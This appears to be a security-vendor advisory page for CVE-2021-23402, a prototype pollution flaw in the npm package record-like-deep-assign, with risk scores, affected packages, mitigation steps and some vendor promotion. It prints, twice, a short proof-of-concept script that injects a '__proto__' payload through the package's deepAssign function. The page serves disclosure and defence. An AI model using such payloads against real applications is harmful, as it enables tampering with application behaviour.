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HIGH severity

CVE-2021-23402 — record-like-deep-assign

HIGH

CVE-2021-23402 is a high-severity (CVSS 7.3) CWE-1321 vulnerability in record-like-deep-assign. 1 public exploit reference exists, so weaponization risk is real. No vendor fix is recorded yet; mitigation options are listed below.

Prototype Pollution in record-like-deep-assign

Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
1 known
Exploitation data as of Oct 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
1.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs66th percentile — riskier than 66% of all scored CVEsHighest risk
0.03%0.58%1.12%1.67%0.5%1.2%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2021-23402 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
record-like-deep-assignnpm
30downloads / week

Description

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npmrecord-like-deep-assignall versionsNo fix

Affected Products

1 product · 1 configurations
Application
record-like-deep-assignrecord-like-deep-assign_project
all
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for record-like-deep-assign, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of record-like-deep-assign has shipped for CVE-2021-23402 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality. ### PoC ```js const deepAssign = require('record-like-deep-assign'); let obj = {}; console.log("Before being polluted: " + obj.polluted); EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}'); deepAssign({}, EVIL_JSON); console.log("After being polluted: " + obj.polluted); ```
O3 Security · Impact-Aware SCA

Is CVE-2021-23402 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2021-23402: record-like-deep-assign (High 7.3)